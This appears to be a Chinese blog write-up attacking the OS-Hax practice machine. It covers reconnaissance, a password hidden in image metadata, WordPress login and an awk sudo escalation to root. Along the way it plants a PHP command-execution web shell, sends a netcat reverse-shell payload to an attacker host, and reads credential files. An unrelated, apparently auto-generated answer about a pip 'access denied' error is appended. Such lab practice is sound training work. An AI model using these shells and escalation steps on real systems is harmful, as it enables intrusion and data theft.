OS-Hax 靶机

一、信息收集

nmap 192.168.7.0/24进行主机扫描,查找到主机IP地址

进行目录扫描

发现一个wordpress路径,可以打开,以及好几个子目录

在img路径下,有一个flaghost.png,引起注意

二、内网渗透

在wordpress路径下,发现点击功能点会发生跳转,且跳转路径会变成localhost

所以我们来到burp,将localhost和靶机地址192.168.7.51进行匹配,这样当流量走burp时就会自动将localhost匹配成靶机地址192.168.7.51

打开burp的proxy setting—>Match and replace rules—>Add,添加响应头和响应体将localhost与192.168.7.51绑定

再次访问,页面发生变化

打开登陆页面

在进行尝试登陆爆破,弱口令。SQL注入无解后,来到刚刚看到的img路径下的flaghost.png,kali远程下载图片文件

下载一个exiftool工具进行图片编辑

发现了一个类似于密码的字符

尝试登陆,登陆失败,尝试远程连接,连接失败

猜想他并不是一个密码,也有可能是一个路径,拼接访问,成功打开

点击文件,在flag2.txt文件中发现了一个字符串

发现是Brainfuck加密,进行Brainfuck解密

再次尝试登陆,登陆成功

尝试写入webshell,写入成功,点击连接,连接失败

换种方式,写入一个执行命令

system($_REQUEST['hws']);

URL拼接执行命令使用,可以执行

抓包,写入反弹shell命令

POST /wordpress/ HTTP/1.1
Host: 192.168.7.51
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

hws=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.7.252+443+>/tmp/f

反弹成功,执行如下代码

python -c 'import pty;pty.spawn("/bin/bash")'

查看目录下文件

在wp-config.php里找到了一个数据库,以及账号密码

查看/etc/passwd下的文件

看到web用户,使用之前密码登陆,登陆成功

三、权限提升

sudo -l 查看用户权限,发现可以执行awk命令,awk命令可以执行系统命令,sudo awk '{ system("/bin/bash")}' ,获得root权限

拿到flag

  • 3
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
[WinError 5] 拒绝访问是一个错误消息,意味着你没有足够的权限来访问或操作指定的文件或目录。这个错误通常发生在你试图安装或卸载Python包时。根据引用和引用的信息,建议你尝试以下方法来解决这个问题: 1. 使用--user选项: 在安装或卸载包时,使用--user选项可以将包安装到当前用户的目录中,而不是全局目录。这通常可以避免权限问题。示例命令如下: ``` pip install package_name --user ``` 2. 检查权限: 确保你拥有足够的权限来访问指定的文件或目录。可以尝试以管理员身份运行命令提示符或终端,并使用管理员权限运行安装或卸载命令。 另外,引用提供了一些解决Python PermissionError: [WinError 5]拒绝访问问题的步骤,你也可以参考这个参考资料来解决你的问题。希望这些方法对你有所帮助。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [python更新库遇到ERROR: [WinError 5] 拒绝访问。Consider using the `--user` option or check the ...](https://blog.csdn.net/sophiasofia/article/details/129739335)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [ERROR: Could not install packages due to an OSError: [WinError 5] 拒绝访问。: ‘C:\\Users\\zlr\\App...](https://blog.csdn.net/zlrhhh/article/details/127915930)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [三步解决python PermissionError: [WinError 5]拒绝访问的情况](https://download.csdn.net/download/weixin_38557095/12852977)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值